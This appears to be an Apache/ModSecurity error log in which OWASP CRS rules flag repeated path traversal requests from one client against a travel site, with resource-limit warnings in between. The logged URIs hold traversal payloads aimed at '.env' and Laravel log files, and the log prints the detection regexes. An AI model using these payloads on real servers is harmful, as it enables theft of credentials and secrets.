[Fri Jul 17 08:55:07.408603 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUZQAAABI"]
[Fri Jul 17 08:55:07.408708 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.408988 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk11_86A5R6msWNfUZQAAABI"]
[Fri Jul 17 08:55:07.409799 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?source=..%2F..%2F..%2F..%2F..%2F.env&token=C7UGP_UzdoyPkAtLkgVu7kjZPRcc_yIND1MQLSp3L77FFh-Xedz48fzJdAunLFRWkQ91mRa7fSSFSo7hP8F4BM_arS7SR-jWOl1LcRteOcoImUnEA8CLDWI0d6r5IIoayUNIocGzvm3am8twDwo0XW3fJ-bDgtGAEJ71TegpQX1oWkH1XJiAdMF366_b9C0OlIFxbWdFpH_q2A5Q30sYFqqu0zryhJqYNje4DGJKV9zwuKLA5VP7k4DHOnPPk3OxOqDCKglykWaNzYd6b-S8SLdR&sid=DLRCMZCA4XGNMYBFBGROK3WQOROZK2NEJDNFZGDP6IDRDF3LVCBMW5YTG7RVQCPUR4TYZZFDR5CIK4UYBKJ4KFL3RDKQIKQRFLSZPDBZOXYJ3PMAQTR7YFSAZ5ODIX..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfKAAAAA8"]
[Fri Jul 17 08:55:07.409847 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfKAAAAA8"]
[Fri Jul 17 08:55:07.409920 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?source=../../../../../.env&token=C7UGP_UzdoyPkAtLkgVu7kjZPRcc_yIND1MQLSp3L77FFh-Xedz48fzJdAunLFRWkQ91mRa7fSSFSo7hP8F4BM_arS7SR-jWOl1LcRteOcoImUnEA8CLDWI0d6r5IIoayUNIocGzvm3am8twDwo0XW3fJ-bDgtGAEJ71TegpQX1oWkH1XJiAdMF366_b9C0OlIFxbWdFpH_q2A5Q30sYFqqu0zryhJqYNje4DGJKV9zwuKLA5VP7k4DHOnPPk3OxOqDCKglykWaNzYd6b-S8SLdR&sid=DLRCMZCA4XGNMYBFBGROK3WQOROZK2NEJDNFZGDP6IDRDF3LVCBMW5YTG7RVQCPUR4TYZZFDR5CIK4UYBKJ4KFL3RDKQIKQRFLSZPDBZOXYJ3PMAQTR7YFSAZ5ODIXOR2P2HOC7HZNTCZNT5..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfKAAAAA8"]
[Fri Jul 17 08:55:07.409990 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?source=../../../../../.env&token=c7ugp_uzdoypkatlkgvu7kjzprcc_yind1mqlsp3l77ffh-xedz48fzjdaunlfrwkq91mra7fssfso7hp8f4bm_ars7sr-jwol1lcrteocoimunea8cldwi0d6r5iioayuniocgzvm3am8twdwo0xw3fj-bdgtgaej71tegpqx1owkh1xjiadmf366_b9c0olifxbwdfph_q2a5q30syfqqu0zryhjqynje4dgjkv9zwukla5vp7k4dhonppk3oxoqdckglykwanzyd6b-s8sldr&sid=dlrcmzca4xgnmybfbgrok3wqorozk2nejdnfzgdp6idrdf3lvcbmw5ytg7rvqcpur4tyzzfdr5cik4uybkj4kfl3rdkqikqrflszpdbzoxyj3pmaqtr7yfsaz5odixor2p2hoc7hzntcznt5..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfKAAAAA8"]
[Fri Jul 17 08:55:07.410018 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfKAAAAA8"]
[Fri Jul 17 08:55:07.410066 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfKAAAAA8"]
[Fri Jul 17 08:55:07.411277 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfKAAAAA8"]
[Fri Jul 17 08:55:07.411418 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.411725 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk-1pLmPpy2r_2CxfKAAAAA8"]
[Fri Jul 17 08:55:07.424397 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBUgAAABs"]
[Fri Jul 17 08:55:07.424458 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBUgAAABs"]
[Fri Jul 17 08:55:07.425673 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBUgAAABs"]
[Fri Jul 17 08:55:07.425827 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.426168 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk6quHSHoCJK_V0SBUgAAABs"]
[Fri Jul 17 08:55:07.430199 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?source=..%2F..%2Fstorage%2Flogs%2Flaravel.log&sid=R9o865WmAdfLTlQg5vQzIlXneE1s4jgPhuutmkazMT5nev6rju2HiHmX_YVK8vGZcJtQE9ZKOUzz5eTTggj6cqxww2yJI8veM8KL0vGkN3zOEhBAamKgH9PDjuJ2IH-YQ5RokZMX9UxS8sNgoNYxgW1AF7e7ODSrertepkmox23QhdDVmgH8p2Uqq1ouY9y4o6Eguz4z24jpk-gFsOIbe56hpI_EBwSQX8VJExqI4RFjpoaniigFhAoTaoxE5cP2FAeeTdBPTujo1KrtxoLs_l53&extra=UOUK2CL74L5NFEMIDN555AYKHSWS53LO4KGP3J3LIM33ZCBCYUDOUBY6KBTRDWTDHNV56FS5D3WECE46WK6BAAVK6RW7JJDXHASHTAOA47G52PX7SYGQS..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6eQAAABE"]
[Fri Jul 17 08:55:07.430258 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6eQAAABE"]
[Fri Jul 17 08:55:07.430304 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?source=../../storage/logs/laravel.log&sid=R9o865WmAdfLTlQg5vQzIlXneE1s4jgPhuutmkazMT5nev6rju2HiHmX_YVK8vGZcJtQE9ZKOUzz5eTTggj6cqxww2yJI8veM8KL0vGkN3zOEhBAamKgH9PDjuJ2IH-YQ5RokZMX9UxS8sNgoNYxgW1AF7e7ODSrertepkmox23QhdDVmgH8p2Uqq1ouY9y4o6Eguz4z24jpk-gFsOIbe56hpI_EBwSQX8VJExqI4RFjpoaniigFhAoTaoxE5cP2FAeeTdBPTujo1KrtxoLs_l53&extra=UOUK2CL74L5NFEMIDN555AYKHSWS53LO4KGP3J3LIM33ZCBCYUDOUBY6KBTRDWTDHNV56FS5D3WECE46WK6BAAVK6RW7JJDXHASHTAOA47G52PX7SYGQSADQZ4CY46TNAKRCM..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6eQAAABE"]
[Fri Jul 17 08:55:07.430336 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?source=../../storage/logs/laravel.log&sid=r9o865wmadfltlqg5vqzilxnee1s4jgphuutmkazmt5nev6rju2hihmx_yvk8vgzcjtqe9zkouzz5ettggj6cqxww2yji8vem8kl0vgkn3zoehbaamkgh9pdjuj2ih-yq5rokzmx9uxs8sngonyxgw1af7e7odsrertepkmox23qhddvmgh8p2uqq1ouy9y4o6eguz4z24jpk-gfsoibe56hpi_ebwsqx8vjexqi4rfjpoaniigfhaotaoxe5cp2faeetdbptujo1krtxols_l53&extra=uouk2cl74l5nfemidn555aykhsws53lo4kgp3j3lim33zcbcyudouby6kbtrdwtdhnv56fs5d3wece46wk6baavk6rw7jjdxhashtaoa47g52px7sygqsadqz4cy46tnakrcm..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6eQAAABE"]
[Fri Jul 17 08:55:07.430359 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6eQAAABE"]
[Fri Jul 17 08:55:07.430384 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6eQAAABE"]
[Fri Jul 17 08:55:07.431648 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6eQAAABE"]
[Fri Jul 17 08:55:07.431820 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.432287 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4e39YUk0SgV8AU6eQAAABE"]
[Fri Jul 17 08:55:07.436910 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?source=..%2F..%2F..%2Fstorage%2Flogs%2Flaravel.log&junk=VaGgmgsGCIdQpfewz3ut5OEJqFa49IYvQGwFR58YFRmvGayMVAS4RiRCvwFeu8pXQH-MbCJVUhTa7qpZ_4s_uTZO1SgbhXaB3ZCOlkac2p7DpD0nh4OJdqYzNtegeVIAfCPG8Q34IWscnsaWYl-dv2PzxSTaIyMFghzoKrd6Q5R9JEDDP75Q_HqjDdpnn_2YvwfU0Frb9xNxrHvY0iq2fxGJPOq3huyRWPr7aM0R0ijTboIcw2wDX9TSKYwtlArb93OdlSzVDiD1E8FF7Bk2y1N4&ref=V6I2BUDPKI2CBLOVFYPNLGYTAOWV62OR5V7U4X5SJOAFNNH44H3TMGRCTC4GVIRFNZBCAN3DKHCPKPUXIB2HCOV5SAXLRTRPX2SYN2CDH7ZBHYDSL..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlJgAAAA0"]
[Fri Jul 17 08:55:07.436995 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlJgAAAA0"]
[Fri Jul 17 08:55:07.437115 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?source=../../../storage/logs/laravel.log&junk=VaGgmgsGCIdQpfewz3ut5OEJqFa49IYvQGwFR58YFRmvGayMVAS4RiRCvwFeu8pXQH-MbCJVUhTa7qpZ_4s_uTZO1SgbhXaB3ZCOlkac2p7DpD0nh4OJdqYzNtegeVIAfCPG8Q34IWscnsaWYl-dv2PzxSTaIyMFghzoKrd6Q5R9JEDDP75Q_HqjDdpnn_2YvwfU0Frb9xNxrHvY0iq2fxGJPOq3huyRWPr7aM0R0ijTboIcw2wDX9TSKYwtlArb93OdlSzVDiD1E8FF7Bk2y1N4&ref=V6I2BUDPKI2CBLOVFYPNLGYTAOWV62OR5V7U4X5SJOAFNNH44H3TMGRCTC4GVIRFNZBCAN3DKHCPKPUXIB2HCOV5SAXLRTRPX2SYN2CDH7ZBHYDSL5CUPYTWCSHMKDSEPV3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag 